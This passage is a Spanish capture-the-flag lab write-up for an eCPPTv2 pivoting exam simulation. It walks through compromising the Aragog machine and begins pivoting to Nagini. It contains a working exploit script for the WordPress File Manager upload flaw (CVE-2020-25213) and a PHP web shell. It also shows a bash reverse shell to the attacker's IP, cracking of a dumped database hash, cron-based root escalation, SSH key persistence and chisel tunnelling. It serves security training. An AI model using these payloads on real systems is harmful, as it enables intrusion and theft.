Entrada

Examen Simulación eCPPTv2 (Lab Pivoting)

¡Hola! En este laboratorio hemos configurado 6 máquinas y 4 redes internas para pivotar hasta la máquina Brainpan. Las máquinas de las que consta el lab son las siguientes:

La máquina Dumbledore es un Windows 7 x64 vulnerable a Eternal Blue.

Este laboratorio fue montado por Marcelo Vázquez a.k.a S4vitar, la resolución del mismo la tienes en formato video en YouTube

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Aragog. Una vez creado accederemos al directorio y con la ayuda de la función que tenemos definida enla zshrc mk y mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza

1
2
3
4
5
6
7
8
9
10
11
12
13
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

function mk(){
    mkdir $1
    cd $1
    mkt 
    cd nmap
    history -p
    settarget $1 $2
}

Aragog

Reconocimiento


Técnicas Vistas (Aragog):

  • WordPress Enumeration + Virtual Hosting
  • Using wpscan + API TOKEN for vulnerability discovery in WordPress
  • File Manager WordPress Plugin Exploitation - Unauthenticated Arbitrary File Upload leading to RCE
  • Uploading a web shell to the server
  • Enumerating the Apache web server directory structure
  • MYSQL Database Enumeration
  • Cracking Hashes + Password reuse
  • Abusing Cron Job [Privilege Escalation]
  • EXTRA: Creation of bash script to discover computers on the internal network
  • EXTRA: Creation of a bash script to discover the open ports of the computers discovered in the internal network

Antes que todo, necesitamos saber la dirección IPv4 de la máquina, para eso, usaremos la herramienta arp-scan para escanear toda la red local

1
2
3
4
5
6
7
8
❯ arp-scan -I eth0 --localnet
Interface: eth0, type: EN10MB, MAC: 00:0c:29:ed:e8:42, IPv4: 192.168.1.84
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1	94:6a:b0:5c:aa:ed (52:6a:b0:5c:aa:ee)	Arcadyan Corporation
192.168.1.72	b2:be:76:79:1a:2c (52:6a:b0:5c:aa:ee)	(Unknown: locally administered)
192.168.1.92	a8:93:4a:00:55:55	CHONGQING FUGUI ELECTRONICS CO.,LTD.
192.168.1.149	00:0c:29:ae:d8:dc	VMware, Inc.
192.168.1.110	de:4f:5c:68:63:a9 (52:6a:b0:5c:aa:ee)	(Unknown: locally administered)

Si nos fijamos, y en base al OUI (Organizationallly Unique Identifier), la IPv4 192.168.1.149 le corresponde a VMware, Inc., así que podemos suponer que la máquina Aragog tiene la IP 192.168.1.149, vamos a empezar con la fase de reconocimiento

Accedemos a directorio de trabajo nmap e iniciaremos nuestra fase de reconocimiento realizando una traza ICMP con ping a la IP de la máquina victima para comprobar que esté activa, y detectar el Sistema Operativo en base al TTL de la traza ICMP

1
2
3
4
5
6
7
❯ ping -c 1 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=1.30 ms

--- 192.168.1.149 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.298/1.298/1.298/0.000 ms

Identificamos que es una máquina Linux basandonos en el TTL (Time to live)

  • TTL -> 64 Linux
  • TTL -> 128 Windows

Continuaremos con el reconocimiento con un escaneo de puertos, primeramente comenzaremos escaneando los puertos por protocolo TCP usando el tan famoso SYN Port Scan, en caso de que no detecte ningún puerto, podríamos tirar contra el protocolo UDP, y por último, el tan poco conocido protocolo SCTP

1
2
3
4
5
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.149 -oG allPorts
Nmap scan report for 192.168.1.149
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

Ahora que hemos exportado todos los puertos abiertos en formato grepeable al archivo allPorts, podemos utilizar el script extractPorts de S4vitar para extraer los puertos abiertos, aquí os dejo el script

1
2
3
4
5
6
7
8
9
10
11
extractPorts () {
	ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')" 
	ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)" 
	echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
	echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
	echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
	echo $ports | tr -d '\n' | xclip -sel clip
	echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
	/bin/batcat --paging=never extractPorts.tmp
	rm extractPorts.tmp
}
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 192.168.1.149
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Gracias a la herramienta, tenemos todos los puertos abiertos copiados a la clipboard ahora procederemos con un escaneo más profundo únicamente sobre los puertos abiertos

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ nmap -p22,80 -sCV 192.168.1.149 -oN targeted

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 48df48372594c4746b2c6273bfb49fa9 (RSA)
|   256 1e3418175e17958f702f80a6d5b4173e (ECDSA)
|_  256 3e795f55553b127596b43ee3837a5494 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesnt have a title (text/html).
MAC Address: 00:0C:29:AE:D8:DC (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Reconocimiento Web


Iniciaremos el reconocimiento del servicio http con la herramienta whatweb, esta nos muestra información interesante sobre la página, tal y como las tecnologías utilizadas y el CMS en uso

1
2
❯ whatweb http://192.168.1.149
http://192.168.1.149 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.1.149]

Accederemos al servicio http, observamos una imágen estática con temática de Harry Potter

Aplicaremos fuzzing con la herramienta gobuster para descubrir directorios en la web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.149 -x php,html,txt -t 200
===============================================================
[+] Url:                     http://192.168.1.149
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Extensions:              txt,php,html
[+] Timeout:                 10s
===============================================================
/blog                 (Status: 301) [Size: 313] [--> http://192.168.1.149/blog/]
===============================================================
2023/02/26 13:19:42 Finished
===============================================================

Encontramos el directorio blog, cuando accedemos parece ser un WordPress al cual no se carga bien, Inspeccionando el código fuente en busca de donde carga los elementos, encontramos un subdominio al cual los recursos intentan cargar: wordpress.aragog.hogwarts, añadiremos el subdominio y el dominio al /etc/hosts

1
2
echo "192.168.1.149 aragog.hogwarts wordpress.aragog.hogwarts" | tee -a /etc/hosts
192.168.1.149 aragog.hogwarts wordpress.aragog.hogwarts

Ahora nos cargan las texturas correctamente

Enumeración Wordpress


Comenzaremos la enumeración del servicio wordpress con la herramienta wpscan con la que trataremos de enumerar plugins, usuarios, etc.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 wpscan --url http://192.168.1.149/blog/ --enumerate vp --plugins-detection aggressive --api-token $WPTOKEN --force
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` |  _ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.1.149/blog/ [192.168.1.149]
[+] Started: Sun Feb 26 13:27:13 2023

Interesting Finding(s):
.
.
.
[+] wp-file-manager
 | Location: http://192.168.1.149/blog/wp-content/plugins/wp-file-manager/
 | Last Updated: 2023-02-08T10:32:00.000Z
 | Readme: http://192.168.1.149/blog/wp-content/plugins/wp-file-manager/readme.txt
 | [!] The version is out of date, the latest version is 7.1.8
 .
 .
 .
 | [!] Title: File Manager 6.0-6.9 - Unauthenticated Arbitrary File Upload leading to RCE
 |     Fixed in: 6.9
 |     References:
 |      - https://wpscan.com/vulnerability/e528ae38-72f0-49ff-9878-922eff59ace9
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25213
 |      - https://blog.nintechnet.com/critical-zero-day-vulnerability-fixed-in-wordpress-file-manager-700000-installations/
 |      - https://www.wordfence.com/blog/2020/09/700000-wordpress-users-affected-by-zero-day-vulnerability-in-file-manager-plugin/
 |      - https://seravo.com/blog/0-day-vulnerability-in-wp-file-manager/
 |      - https://blog.sucuri.net/2020/09/critical-vulnerability-file-manager-affecting-700k-wordpress-websites.html
 |      - https://twitter.com/w4fz5uck5/status/1298402173554958338

Encontramos el plugin File Manager el cuál es vulnerable a CVE-2020-25213, un Unauthenticated File Upload que podemos llevar a un RCE. Usamos el propio script que nos proporciona WPScan para explotar la vulnerabilidad.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python3

import argparse
import sys

import requests  # python-requests, eg. apt-get install python3-requests


def exploit(url):
    full_url = f'{url}/wp-content/plugins/wp-file-manager/lib/php/' + \
               'connector.minimal.php'

    # Entry point is lib/php/connector.minimal.php, which then loads
    # elFinderConnector from file `lib/php/elFinderConnector.class.php`,
    # which then processes our input
    #
    data = {
        'cmd': 'upload',
        'target': 'l1_',
        'debug': 1,
    }
    files = {
        'upload[0]': open('payload.php', 'rb'),
    }

    print(f"Just do it... URL: {full_url}")
    res = requests.post(full_url, data=data, files=files, verify=False)
    print(res.status_code)
    if res.status_code == requests.codes.ok:
        print("Success!?")
        d = res.json()
        p = d.get('added', [])[0].get('url')
        print(f'{url}{p}')
    else:
        print("fail")
        return 1
    return 0


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('url', help="Full URL to the WordPress site " +
                                    "with vulnerable plugin")
    args = parser.parse_args()

    if not args.url.startswith('http'):
        raise ValueError(f"Invalid URL: {args.url}")

    return exploit(args.url)


if __name__ == '__main__':
    sys.exit(main())

Inspeccionando un poco el script nos percatamos que necesitamos un archivo payload.php, así que crearemos una webshell básica.

1
2
3
<?php
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

Ahora ejecutaremos el script de python pasandole como argumento la dirección URL del Wordpress

1
2
3
4
5
❯ python3 2020-wp-file-manager-v67.py http://192.168.1.149/blog
Just do it... URL: http://192.168.1.149/blog/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
200
Success!?
http://192.168.1.149/blog/wp-content/plugins/wp-file-manager/lib/php/../files/payload.php

Si abrimos la URL que nos proporciona el script, no nos da un 404, así que el archivo existe, vamos a concatenarlo ?cmd=whoami la URL a ver si nos responde la webshell

Tenemos ejecución de comandos, cambiaremos el payload a una reverse shell con bash, la url quedaría algo así

1
http://192.168.1.149/blog/wp-content/plugins/wp-file-manager/lib/files/payload.php?cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.84/443 0>%261"

Mandamos la URL, y en nuestro listener con netcat recibimos la shell como www-data, estamos adentro.

1
2
3
4
5
6
7
8
9
10
11
12
❯ nc -lnvp 443
listening on [any] 443 ...
www-data@Aragog$ whoami
whoami
www-data
www-data@Aragog$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Aragog$ hostname -I
hostname -I
192.168.1.149 
www-data@Aragog$ 

Movimiento Lateral


Enumerando archivos del propio Wordpress localizamos config-default.php en la ruta /etc/wordpress el cual almacena credenciales para una base de datos MySQL

1
2
3
4
5
6
7
8
9
10
www-data@Aragog:/etc/wordpress$ cat config-default.php 
<?php
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'mySecr3tPass');
define('DB_HOST', 'localhost');
define('DB_COLLATE', 'utf8_general_ci');
define('WP_CONTENT_DIR', '/usr/share/wordpress/wp-content');
?>
www-data@Aragog:/etc/wordpress$ 

Accederemos a la base de datos, y enumeramos bases y tablas en busca de información relevante

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
www-data@Aragog:/etc/wordpress$ mysql -u root -p mySecr3tPass
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+
4 rows in set (0.000 sec)

MariaDB [(none)]> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
| wp_wpfm_backup        |
+-----------------------+
13 rows in set (0.000 sec)

MariaDB [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+--------------------------+----------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email               | user_url | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+--------------------------+----------+---------------------+---------------------+-------------+--------------+
|  1 | hagrid98   | $P$BYdTic1NGSb8hJbpVEMiJaAiNJDHtc. | wp-admin      | hagrid98@localhost.local |          | 2021-03-31 14:21:02 |                     |           0 | WP-Admin     |
+----+------------+------------------------------------+---------------+--------------------------+----------+---------------------+---------------------+-------------+--------------+
1 row in set (0.000 sec)

MariaDB [wordpress]> 

Tenemos la contraseña hasheada del usuario hagrid98. Con la ayuda de la herramienta john podemos crackear la contraseña

1
2
3
4
❯ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
password123      (hagrid98)     
Session completed. 

Utilizaremos la contraseña para migrar al usuario hagrid98. El primer horcrux lo encontraremos en su directorio personal

1
2
3
4
5
6
7
8
9
10
11
12
www-data@Aragog:/etc/wordpress$ su hagrid98
Password: password123
hagrid98@Aragog:/etc/wordpress$ whoami
hagrid98
hagrid98@Aragog:/etc/wordpress$ cd 
hagrid98@Aragog:~$ ls
horcrux1.txt
hagrid98@Aragog:~$ cat horcrux1.txt 
horcrux_{MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==}
hagrid98@Aragog:~$ echo "MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==" | base64 -d; echo
1: RidDlE DiAry dEstroYed By haRry in chaMbEr of SeCrets
hagrid98@Aragog:~$ 

Escalada de Privilegios


Buscando archivos cuyo usuario es hagrid98 nos encontramos el archivo /opt/.backup.sh

1
2
3
hagrid98@Aragog:~$ find / -user hagrid98 2>/dev/null | grep -vE "sys|proc|run|home"
/opt/.backup.sh
hagrid98@Aragog:~$ 

Si nos fijamos en el script, nos damos cuenta que el script copia todo lo que hay en la ruta /usr/share/wordpress/wp-content/uploads/ a la ruta /tmp/tmp_wp_uploads

1
2
3
4
5
hagrid98@Aragog:~$ cat /opt/.backup.sh 
#!/bin/bash

cp -r /usr/share/wordpress/wp-content/uploads/ /tmp/tmp_wp_uploads 
hagrid98@Aragog:~$ 

Si nos fijamos en los permisos de la ruta /tmp/tmp_wp_uploads, nos percatamos que el usuario de la carpeta de root, ya tenemos un vector de ataque

1
2
3
4
hagrid98@Aragog:/tmp$ ls -l
total 4
drwxr-xr-x 6 root root 4096 Feb 26 18:19 tmp_wp_uploads
hagrid98@Aragog:/tmp$ 

Esto nos indica que el script lo ejecuta el usuario root, así que modificaremos el script para asignarle el privilegios SUID a la bash

1
2
3
4
5
6
7
8
9
10
11
12
hagrid98@Aragog:/opt$ cat .backup.sh 
#!/bin/bash

chmod u+s /bin/bash

cp -r /usr/share/wordpress/wp-content/uploads/ /tmp/tmp_wp_uploads 
hagrid98@Aragog:/opt$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
hagrid98@Aragog:/opt$ bash -p
bash-5.0# whoami
root
bash-5.0# 

Ya somos root, el segundo horcrux de la máquina está en el directorio /root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
bash-5.0# whoami
root
bash-5.0# id
uid=0(root) groups=0(root)
bash-5.0# hostname -I
192.168.1.149 10.10.0.120
bash-5.0# cat /root/horcrux2.txt 
  ____                            _         _       _   _                 
 / ___|___  _ __   __ _ _ __ __ _| |_ _   _| | __ _| |_(_) ___  _ __  ___ 
| |   / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
 \____\___/|_| |_|\__, |_|  \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
                  |___/                                                   


Machine Author: Mansoor R (@time4ster)
Machine Difficulty: Easy
Machine Name: Aragog 
Horcruxes Hidden in this VM: 2 horcruxes

You have successfully pwned Aragog machine.
Here is your second hocrux: horcrux_{MjogbWFSdm9MbyBHYVVudCdzIHJpTmcgZGVTdHJPeWVkIGJZIERVbWJsZWRPcmU=}




# For any queries/suggestions feel free to ping me at email: time4ster@protonmail.com

bash-5.0# echo "MjogbWFSdm9MbyBHYVVudCdzIHJpTmcgZGVTdHJPeWVkIGJZIERVbWJsZWRPcmU=" | base64 -d; echo
2: maRvoLo GaUnt's riNg deStrOyed bY DUmbledOre
bash-5.0# 

Antes de pasar a la máquina Nagini, vamos a poner nuestra persistencia en la máquina Aragog. Para ello crearemos un par de claves SSH, y el contenido de nuestra clave pública la pondremos en authorized_keys en /root/.ssh/authorized_keys en la máquina Aragog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Atacante
❯ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):  
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:BzeEgW1S59uhNlpjH1gJxszYv2wbAy4tRlVrDXmStJ0 root@hacker
The key randomart image is:
+---[RSA 3072]----+
|       +oO=o+o   |
|      o ==*.+B.. |
|       o..+.BoE  |
|        .o.O..   |
|       .So@oo.   |
|        +*o+*.   |
|       ..o ..+   |
|            .    |
|                 |
+----[SHA256]-----+
❯ cat ~/.ssh/id_rsa.pub | tr -d '\n' | xclip -sel clip

# Aragog

bash-5.0# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGPezoNn5B8yM4Sn9t4MNN6jD32f6Y+bH9hC8qXTAvNUi1kuEptUGkGPlKssQeQXBsqxHgd4jn4JWHKddXrkbx4DNLuQqVDL57b6CiHpS+RHju93KomD6OF52Xw9hunjfOj707OlCpUscKkqPVbEXeUeQZk2lnGFElWre/o7bMxvMYaKt+4I0ExG9GG5CCXU+euJlikvfJQBfjSkC8rK+Mb3aHQnbO6uSGUP2UZ0OIi9fqrUvp+OInFORXxLtO9QwB4cbRAnDkAxAA1E6ekEiO9yKzA0Ug6fo+tIsqxWfAqZYee9840Qc3C7sE33ngzkEyr4odvVTnfhb5+7ix9MxRvpvWG3QckWFIUNhZVZn+F+qlJJKIFVt3ogQJYtx1IYOQWHofYXXepD6aWG21PX9/yF52tGt2YiPPKEVWrV4v8XxzTn7lr9gPKmH7kP1K2O/NPX/Zt0T9WtDvLkbbgy0+yyNh6IEjBhjjm8+0ZpPmmOLVP48xao1TPdHIix/5aT8= root@hacker" > .ssh/authorized_keys
bash-5.0# 

Nagini

Reconocimiento

Técnicas vistas:

  • EXTRA: Remote Port Forwarding - Playing with Chisel (From Aragog)
  • EXTRA: Socks5 connection with Chisel (Pivoting) (From Aragog)
  • EXTRA: FoxyProxy + Socks5 Tunnel
  • EXTRA: Fuzzing with gobuster through a Socks5 Proxy
  • EXTRA: Port scanning with nmap through proxychains
  • HTTP3 Enumeration - Quiche Installation
  • Server Side Request Forgery (SSRF)
  • EXTRA: Playing with socat to reach our web server by going through an intermediate machine
  • Joomla Enumeration - Joomscan
  • Joomla Enumeration - Readable config file is found
  • SSRF + MYSQL Enumeration through gopher link - Gopherus
  • Changing the Joomla administrator user password via Gopherus and SSRF
  • Joomla Exploitation - Abusing available templates
  • EXTRA: Joomla Exploitation - Reverse shell passing through an intermediary machine using socat
  • Information Leakage
  • Abusing SUID Binary (User Pivoting)
  • Getting stored Firefox credentials - Firepwd [Privilege Escalation]
  • EXTRA: Creation of bash script to discover computers on the internal network
  • EXTRA: Creation of a bash script to discover the open ports of the computers discovered in the internal network

Comenzaremos el reconocimiento de la máquina Nagini. Necesitaremos sabe su IP y los puertos abiertos que tiene esta máquina. Para ello nos haremos un pequeño script en bash el cual nos ayudará con la tarea. Sabiendo que la IP de la máquina Aragog en el segmento es 10.10.0.128 vamos a escanear todas las IP en el segmento 10.10.0.0/24

1
2
3
root@Aragog:~# hostname -I
10.10.0.128 192.168.1.149 
root@Aragog:~# 

El script quedaría algo así

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash

function ctrl_c(){
    echo -e "\n\n[!] Saliendo...\n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for i in $(seq 1 254); do
    timeout 1 bash -c "ping -c 1 10.10.0.$i" &>/dev/null && echo "[+] HOST - 10.10.0.$i - ACTIVO" & 
done; wait
tput cnorm

Y sí ejecutamos el script, nos reporta otro equipo

1
2
3
4
5
root@Aragog:~# ./hostScan.sh 
[+] HOST - 10.10.0.1 - ACTIVO
[+] HOST - 10.10.0.128 - ACTIVO
[+] HOST - 10.10.0.129 - ACTIVO
root@Aragog:~# 

Ya sabemos que la máquina Nagini tiene la IP 10.10.0.129, ahora procederemos a escanear los puertos abiertos mediante otro script en bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash

function ctrl_c(){
    echo -e "\n\n[!] Saliendo...\n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for port in $(seq 1 65535); do
    timeout 1 bash -c "echo '' > /dev/tcp/10.10.0.129/$port" &>/dev/null && echo "[+] PUERTO - $port - ACTIVO" & 
done; wait  
tput cnorm

Ejecutamos el script y nos reporta el puerto 22 y el 80 abiertos

1
2
3
4
root@Aragog:~# ./portScan.sh 
[+] PUERTO - 22 - ACTIVO
[+] PUERTO - 80 - ACTIVO
root@Aragog:~#

Para trabajar más comodamente vamos a crear un túnel para que podamos acceder a la máquina Nagini desde nuestra máquina Kali a pesar de no tener una conexión directa, utilizaremos la herramienta chisel la cual tenemos que subir a la máquina Aragog para crear un cliente, y tenemos que ejecutar chisel como servidor en nuestra máquina Kali

1
2
3
4
5
# Atacante
./chisel server --reverse -p 1234

# Aragog
./chisel client 192.168.1.84:1234 R:socks

Añadimos el proxy con su puerto en el archivo /etc/proxychains.conf (en algunos sistemas está en /etc/proxychains4.conf), abajo del todo, tendría que quedar algo así

1
2
3
4
5
6
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"

socks5 127.0.0.1 1080

También tendremos que añadir el proxy en la extensión de Mozilla Firefox foxyproxy, para poder acceder a la web de la máquina Nagini

Vamos a escanear los 500 puertos más comunes con nmap, necesitaremos añadirle los argumentos -sT y -Pn ya que estamos pasando a través de un proxy

1
2
3
4
5
❯ proxychains -q nmap --top-ports 500 --open -T5 -v -n -sT -Pn 10.10.0.129 2>&1 -oG allPorts | grep -vE "timeout|OK"
Nmap scan report for 10.10.0.129
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Ahora usando la herramienta extractPorts (anteriormente mencionada), extraeremos los puertos abiertos para hacer ahora un escaneo más profundo únicamente en puertos abiertos

1
2
3
4
5
6
7
8
9
10
11
12
 proxychains -q nmap -p22,80 -sT -Pn -sCV 10.10.0.129 -oN targeted
Nmap scan report for 10.10.0.129
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 48df48372594c4746b2c6273bfb49fa9 (RSA)
|   256 1e3418175e17958f702f80a6d5b4173e (ECDSA)
|_  256 3e795f55553b127596b43ee3837a5494 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Reconocimiento Web


Comenzaremos fuzzeando directorios web con gobuster, utilizaremos el argumento --proxy para indicarle que tiene que pasar por el proxy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.0.129 -t 20 -x php,html,txt --proxy socks5://127.0.0.1:1080
===============================================================
[+] Url:                     http://10.10.0.129
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Proxy:                   socks5://127.0.0.1:1080
[+] User Agent:              gobuster/3.4
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
/index.html           (Status: 200) [Size: 97]
/note.txt             (Status: 200) [Size: 234]
/joomla               (Status: 301) [Size: 311] [--> http://10.10.0.129/joomla/]
===============================================================
2023/02/26 17:16:42 Finished
===============================================================

Encontramos el directorio joomla y el archivo note.txt. Leemos el archivo y parece que el servidor está usando el protocolo HTTP3.

1
2
3
4
5
6
7
8
9
10
❯ proxychains -q curl 10.10.0.129/note.txt
Hello developers!!


I will be using our new HTTP3 Server at https://quic.nagini.hogwarts for further communications.
All developers are requested to visit the server regularly for checking latest announcements.


Regards,
site_amdin

El protocolo HTTP3 es la nueva versión del protocolo de transferencia de hipertexto (HTTP) y está basado en el protocolo UDP, así que tendremos que modificar el túnel para traernos a nuestro aqui el puerto 443 de la Nagini por UDP

1
root@Aragog:~# ./chisel client 192.168.1.84:1234 R:socks R:443:10.10.0.149:443/udp

Buscando por internet encontramos el repositorio de Cloudfare Quiche con el que podremos realizar peticiones por HTTP3. Para instalar la herramienta tendremos que realizar los siguientes pasos:

  1. git clone --recursive https://github.com/cloudfare/quiche
  2. cargo build --examples
  3. cargo test

Puede haber algún conflicto con el paquete de Rust preinstalado. Para ello debemos borrarlo e instalar la última versión estable de Rust usando rustup

Nos dirigimos al directorio /quiche/target/debug/examples y con la herramienta http3-client tenemos que hacer una petición a https://localhost. Al haber modificado anteriormente el túnel creado con chisel estamos haciendo la petición a la máquina Nagini en el puerto 443 por UDP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ ./http3-client https://localhost
<html>
	<head>
	<title>Information Page</title>
	</head>
	<body>
		Greetings Developers!!
		
		I am having two announcements that I need to share with you:

		1. We no longer require functionality at /internalResourceFeTcher.php in our main production servers.So I will be removing the same by this week.
		2. All developers are requested not to put any configuration s backup file (.bak) in main production servers as they are readable by every one.


		Regards,
		site_admin
	</body>
</html>

En la respueta se nos revela una ruta /internalResourceFeTcher.php. Comprobamos que aún está operativa, también vemos que nos dan una pista sobre posibles archivos .bak que puedan haber

Observando el código fuente de la página vemos que el valor del input ha de ser una url. Introducimos 127.0.0.1 y nos muestra la imagen que hay en el puerto 80 de la máquina Nagini por lo que confirmamos que se está aconteciendo un SSRF

Enumeración Joomla


Para la enumeración del CMS Joomla vamos a usar la herramienta JoomScan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
❯ proxychains -q perl joomscan.pl -u http://10.10.0.129/joomla 2>/dev/null

    ____  _____  _____  __  __  ___   ___    __    _  _ 
   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )
  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  ( 
  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
			(1337.today)
   
    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
